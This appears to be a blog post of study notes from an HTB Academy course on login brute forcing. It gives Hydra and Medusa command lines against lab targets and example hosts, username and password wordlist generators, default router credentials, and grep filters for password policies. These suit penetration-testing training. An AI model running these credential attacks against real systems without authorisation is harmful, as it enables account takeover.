Back to Blog

HTB Academy - Login Brute Forcing Course Notes

Login Brute Forcing

Hydra

Brute force from basic login

hydra -l basic-auth-user -P /usr/share/seclists/Passwords/Common-Credentials/2023-200_most_used_passwords.txt 94.237.55.9 http-get / -s 31625

Brute force username and password pair in post form

hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/seclists/Passwords/Common-Credentials/2023-200_most_used_passwords.txt -f 94.237.55.9 -s 37368 http-post-form "/:username=^USER^&password=^PASS^:F=Invalid
credentials"

Medusa

medusa -h <IP> -n <PORT> -u sshuser -P 2023-200_most_used_passwords.txt -M ssh -t 3

medusa -h IP -n PORT -u sshuser -P 2023-200_most_used_passwords.txt -M ssh -t 3

medusa -h 127.0.0.1 -u ftpuser -P 2020-200_most_used_passwords.txt -M ftp -t 5

Username-Anarchy

git clone https://github.com/urbanadventurer/username-anarchy.git
./username-anarchy Jane Smith > jane_smith_usernames.txt

CUPP

sudo apt install cupp -y
cupp -i

Filter using grep

grep -E '^.{6,}$' jane.txt | grep -E '[A-Z]' | grep -E '[a-z]' | grep -E '[0-9]' | grep -E '([!@#$%^&*].*){2,}' > jane-filtered.txt

Cheatsheets

Default Credentials

  • Default Usernames: Pre-set usernames that are widely known
  • Default Passwords: Pre-set, easily guessable passwords that come with devices and software
DeviceUsernamePassword
Linksys Routeradminadmin
Netgear Routeradminpassword
TP-Link Routeradminadmin
Cisco Routerciscocisco
Ubiquiti UniFi APubntubnt

Hydra

hydra [-l LOGIN|-L FILE] [-p PASS|-P FILE] [-C FILE] -m MODULE [service://server[:PORT][/OPT]]
Hydra ServiceService/ProtocolDescriptionExample Command
ftpFile Transfer Protocol (FTP)Used to brute-force login credentials for FTP services, commonly used to transfer files over a network.hydra -l admin -P /path/to/password_list.txt ftp://192.168.1.100
sshSecure Shell (SSH)Targets SSH services to brute-force credentials, commonly used for secure remote login to systems.hydra -l root -P /path/to/password_list.txt ssh://192.168.1.100
http-get/postHTTP Web ServicesUsed to brute-force login credentials for HTTP web login forms using either GET or POST requests.hydra -l admin -P /path/to/password_list.txt 127.0.0.1 http-post-form "/login.php:user=^USER^&pass=^PASS^:F=incorrect"

Medusa

medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]
Medusa ModuleService/ProtocolDescriptionExample Command
sshSecure Shell (SSH)Brute force SSH login for the admin user.medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh
ftpFile Transfer Protocol (FTP)Brute force FTP with multiple usernames and passwords using 5 parallel threads.medusa -h 192.168.1.100 -U users.txt -P passwords.txt -M ftp -t 5
rdpRemote Desktop Protocol (RDP)Brute force RDP login.medusa -h 192.168.1.100 -u admin -P passwords.txt -M rdp
http-getHTTP Web ServicesBrute force HTTP Basic Authentication.medusa -h www.example.com -U users.txt -P passwords.txt -M http -m GET
sshSecure Shell (SSH)Stop after the first valid SSH login is found.medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh -f

Username-Anarchy

CommandDescription
username-anarchy Jane SmithGenerate possible usernames for “Jane Smith”
username-anarchy -i names.txtUse a file (names.txt) with names for input. Can handle space, CSV, or TAB delimited names.
username-anarchy -a --country usAutomatically generate usernames using common names from the US dataset.
username-anarchy -lList available username format plugins.
username-anarchy -f format1,format2Use specific format plugins for username generation (comma-separated).
username-anarchy -@ example.comAppend @example.com as a suffix to each username.
username-anarchy --case-insensitiveGenerate usernames in case-insensitive (lowercase) format.

CUPP (Common User Passwords Profiler) creates personalized password wordlists based on gathered intelligence.

CommandDescription
cupp -iGenerate wordlist based on personal information (interactive mode).
cupp -w profiles.txtGenerate a wordlist from a predefined profile file.
cupp -lDownload popular password lists like rockyou.txt.

Filter Wordlist Matching Password Policy

Policy RequirementGrep Regex PatternExplanation
Minimum Length (e.g., 8 characters)grep -E '^.{8,}$' wordlist.txt^ matches the start of the line, . matches any character, {8,} matches 8 or more occurrences, $ matches the end of the line.
At Least One Uppercase Lettergrep -E '[A-Z]' wordlist.txt[A-Z] matches any uppercase letter.
At Least One Lowercase Lettergrep -E '[a-z]' wordlist.txt[a-z] matches any lowercase letter.
At Least One Digitgrep -E '[0-9]' wordlist.txt[0-9] matches any digit.
At Least One Special Charactergrep -E '[!@#$%^&*()_+-=[]{};':"\,.<>/?]' wordlist.txt[!@#$%^&*()_+-=[]{};':"\,.<>/?] matches any special character (symbol).
No Consecutive Repeated Charactersgrep -E '(.)\1' wordlist.txt(.) captures any character, \1 matches the previously captured character. This pattern will match any line with consecutive repeated characters. Use grep -v to invert the match.
Exclude Common Patterns (e.g., “password”)grep -v -i 'password' wordlist.txt-v inverts the match, -i makes the search case-insensitive. This pattern will exclude any line containing “password” (or “Password”, “PASSWORD”, etc.).
Exclude Dictionary Wordsgrep -v -f dictionary.txt wordlist.txt-f reads patterns from a file. dictionary.txt should contain a list of common dictionary words, one per line.
Combination of Requirementsgrep -E '^.{8,}$' wordlist.txt | grep -E '[A-Z]'This command filters a wordlist to meet multiple password policy requirements. It first ensures that each word has a minimum length of 8 characters (grep -E '^.{8,}$'), and then it pipes the result into a second grep command to match only words that contain at least one uppercase letter (grep -E '[A-Z]'). This approach ensures the filtered passwords meet both the length and uppercase letter criteria.